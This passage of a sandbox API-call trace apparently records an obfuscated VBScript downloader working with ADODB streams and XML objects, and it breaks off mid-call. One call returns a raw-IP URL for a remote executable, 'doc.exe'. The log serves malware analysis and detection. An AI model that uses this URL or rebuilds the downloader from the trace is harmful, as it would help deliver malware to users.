This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=3) returned 0x0 [0087.908] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.908] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.909] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.909] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.909] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.909] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0087.909] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.910] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.910] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962b320) returned 0x0 [0087.910] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.910] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.910] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=8) returned 0x0 [0087.910] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.910] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.910] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962b320) returned 0x0 [0087.910] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.910] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.911] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.911] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.911] GetCurrentThreadId () returned 0xd44 [0087.911] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.911] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.912] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.912] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.912] GetCurrentThreadId () returned 0xd44 [0087.912] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.912] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.912] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.912] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.912] GetCurrentThreadId () returned 0xd44 [0087.912] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.912] ??2@YAPAXI@Z () returned 0x86bff10 [0087.912] malloc (_Size=0x804) returned 0x83fc220 [0087.912] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.913] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.913] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.913] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=19) returned 0x0 [0087.913] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.913] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.913] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x0), pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.913] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.913] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.913] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.914] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.914] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.914] GetCurrentThreadId () returned 0xd44 [0087.914] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.914] ??2@YAPAXI@Z () returned 0x86bff10 [0087.914] malloc (_Size=0x804) returned 0x83fc220 [0087.914] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.914] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.914] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0087.914] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.915] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.915] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.915] GetCurrentThreadId () returned 0xd44 [0087.915] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.915] ??2@YAPAXI@Z () returned 0x86bff10 [0087.915] malloc (_Size=0x804) returned 0x83fc220 [0087.915] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.915] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.915] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.915] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=11) returned 0x0 [0087.915] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.916] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.916] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.916] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.916] free (_Block=0x1197880) [0087.916] free (_Block=0x86ea2e0) [0087.916] free (_Block=0x844c5d0) [0087.916] free (_Block=0x83d9f10) [0087.916] ??3@YAXPAX@Z () returned 0xc80001 [0087.917] free (_Block=0x1197838) [0087.917] free (_Block=0x11c29f0) [0087.917] free (_Block=0x847b3d8) [0087.917] free (_Block=0x83d9df8) [0087.917] ??3@YAXPAX@Z () returned 0xb60001 [0087.917] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0087.917] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varrya", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0087.918] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varrya", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0087.918] GetCurrentThreadId () returned 0xd44 [0087.918] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.918] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.918] malloc (_Size=0x804) returned 0x83fc220 [0087.918] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.918] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0087.919] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.919] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.919] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.919] GetCurrentThreadId () returned 0xd44 [0087.919] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.919] ??2@YAPAXI@Z () returned 0x11c2208 [0087.920] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.920] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.920] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.920] GetCurrentThreadId () returned 0xd44 [0087.920] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.920] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.920] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.920] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.920] GetCurrentThreadId () returned 0xd44 [0087.920] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.921] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.921] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.921] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.921] GetCurrentThreadId () returned 0xd44 [0087.921] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.921] malloc (_Size=0x204) returned 0x847b3d8 [0087.921] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.921] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.922] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.922] GetCurrentThreadId () returned 0xd44 [0087.922] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.923] ??2@YAPAXI@Z () returned 0x86bff10 [0087.923] malloc (_Size=0x804) returned 0x83fc220 [0087.923] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.923] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x1544ac | out: lpclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0087.923] SysStringLen (param_1=0x0) returned 0x0 [0087.923] CoGetClassObject (in: rclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x15449c | out: ppv=0x15449c*=0x72b7d4b8) returned 0x0 [0087.924] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154498 | out: ppvObject=0x154498*=0x0) returned 0x80004002 [0087.924] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x5564c0) returned 0x0 [0087.924] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0087.924] DOMDocument:IUnknown:QueryInterface (in: This=0x5564c0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154464 | out: ppvObject=0x154464*=0x5564ec) returned 0x0 [0087.924] ??2@YAPAXI@Z () returned 0x1112bf0 [0087.924] DOMDocument:IObjectWithSite:SetSite (This=0x5564ec, pUnkSite=0x1112bf0) returned 0x0 [0087.924] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154318 | out: ppvObject=0x154318*=0x0) returned 0x80004002 [0087.924] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154308 | out: ppvObject=0x154308*=0x0) returned 0x80004002 [0087.924] DOMDocument:IUnknown:AddRef (This=0x1112bf0) returned 0x2 [0087.943] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1543c8 | out: ppvObject=0x1543c8*=0x1112bf0) returned 0x0 [0087.943] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153328 | out: ppvObject=0x153328*=0x1112bf0) returned 0x0 [0087.943] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0087.943] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.943] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.943] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0087.943] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.943] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.944] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, 